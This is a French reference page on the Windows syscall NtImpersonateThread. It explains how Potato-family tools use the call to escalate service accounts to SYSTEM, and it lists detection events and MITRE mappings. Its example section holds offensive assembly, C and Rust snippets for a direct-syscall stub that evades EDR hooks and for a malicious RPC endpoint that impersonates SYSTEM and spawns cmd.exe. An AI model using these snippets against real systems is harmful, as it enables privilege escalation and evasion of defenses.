NtImpersonateThread

Prototype

NTSTATUS NtImpersonateThread(
  HANDLE                       ServerThreadHandle,
  HANDLE                       ClientThreadHandle,
  PSECURITY_QUALITY_OF_SERVICE SecurityQos
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 06 01 00 00      mov eax, 0x106
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

NtImpersonateThread est la primitive d'impersonation *directe* thread-à-thread — aucun handle de jeton intermédiaire requis. C'est l'appel que le runtime serveur LRPC / ALPC invoque quand une méthode RPC déclare `[in] handle_t` et que l'appelant a un niveau de privilège suffisant pour être impersonné. Contrairement à l'approche par handle de jeton (NtOpenProcessTokenEx -> NtDuplicateToken -> NtSetInformationThread), cet unique appel capture atomiquement le contexte de sécurité effectif du thread client. Le SSN dérive presque à chaque build — `0xEE` sur Windows 10 1507, `0x106` sur Windows 11 24H2 — donc la résolution dynamique de SSN est requise pour de l'outillage portable.

Usage courant par les malwares

L'âme côté noyau de toute la **famille Potato** (HotPotato, RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, SweetPotato, RemotePotato0, GodPotato). Le motif d'attaque : piéger un service en contexte SYSTEM (Print Spooler, MSDTC, RPCSS, BITS) pour qu'il effectue un appel RPC authentifié vers un endpoint local malveillant ; cet endpoint appelle alors `NtImpersonateThread(NtCurrentThread, callerThread, &qos{SecurityImpersonation})` pour capturer le contexte SYSTEM. Avec `SeImpersonatePrivilege` déjà accordé à la plupart des comptes de service (LOCAL SERVICE, NETWORK SERVICE, identités d'app-pool IIS), cet unique primitif fait le pont SERVICE -> SYSTEM. Le même appel est utilisé par les variantes BOF `make_token` de Cobalt Strike lorsqu'elles impersonnent un thread cible directement plutôt qu'un jeton de processus.

Opportunités de détection

Cible de détection à forte fidélité. L'événement Windows Security **4624 avec Logon Type 3** + niveau d'impersonation `Impersonation` (3) ou `Delegation` (4) enregistre le changement de contexte. Plus important encore, le provider ETW `Microsoft-Windows-RPC` émet `EVENT_ID 5` (RpcServerImpersonateClient) côté serveur RPC — corréler un serveur RPC inattendu impersonnant un client à haut privilège est la détection Potato canonique. L'événement **4673** (Sensitive Privilege Use, SeImpersonatePrivilege) se déclenche quand le privilège est exercé. Les EDR hookent `ntdll!NtImpersonateThread` ; les syscalls directs contournent ce hook mais la piste d'audit côté noyau et l'ETW RPC restent. Surveiller les processus non-IIS, non-Print-Spooler, non-MSDTC invoquant cet appel sur des threads qu'ils n'ont pas créés.

Exemples de syscalls directs

; NOTE: SSN moves every build — resolve dynamically for portability.
NtImpersonateThread PROC
    mov  r10, rcx          ; ServerThreadHandle
    mov  eax, 106h         ; SSN on Win11 24H2
    syscall
    ret
NtImpersonateThread ENDP

// Inside a malicious local RPC endpoint reached by a coerced SYSTEM service.
// The current thread is servicing the RPC; the caller's thread carries SYSTEM context.
SECURITY_QUALITY_OF_SERVICE qos = {
    .Length = sizeof(qos),
    .ImpersonationLevel = SecurityImpersonation,
    .ContextTrackingMode = SECURITY_STATIC_TRACKING,
    .EffectiveOnly = FALSE,
};

// hClientThread was obtained via RpcImpersonateClient + OpenThread on the caller,
// or directly from an LPC port message.
NTSTATUS s = NtImpersonateThread(NtCurrentThread(),
                                 hClientThread,
                                 &qos);
if (NT_SUCCESS(s)) {
    // We are now SYSTEM on this thread. CreateProcessAsUserW with the duplicated
    // token gives us a SYSTEM-context cmd.exe.
    HANDLE hTok;
    NtOpenThreadTokenEx(NtCurrentThread(),
                        TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY,
                        TRUE, 0, &hTok);
    // ... NtDuplicateToken -> CreateProcessAsUserW("cmd.exe")
}

// Direct-syscall NtImpersonateThread used inside a Potato-style RPC server.
use std::arch::asm;
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::SECURITY_QUALITY_OF_SERVICE;

#[unsafe(naked)]
pub unsafe extern "system" fn nt_impersonate_thread(
    _server: HANDLE,
    _client: HANDLE,
    _qos: *mut SECURITY_QUALITY_OF_SERVICE,
) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x106",      // Win11 24H2; resolve dynamically in real loaders
        "syscall",
        "ret",
        options(noreturn),
    );
}

// Higher-level helper kept short for clarity.
pub unsafe fn become_caller(server: HANDLE, client: HANDLE) -> bool {
    let mut qos = SECURITY_QUALITY_OF_SERVICE {
        Length: std::mem::size_of::<SECURITY_QUALITY_OF_SERVICE>() as u32,
        ImpersonationLevel: 2, // SecurityImpersonation
        ContextTrackingMode: 0, // STATIC
        EffectiveOnly: 0,
    };
    nt_impersonate_thread(server, client, &mut qos) == 0
}

Mappings MITRE ATT&CK

• T1134Access Token Manipulationmitre ↗
• T1134.001Token Impersonation/Theftmitre ↗
• T1134.003Make and Impersonate Tokenmitre ↗
• T1106Native APImitre ↗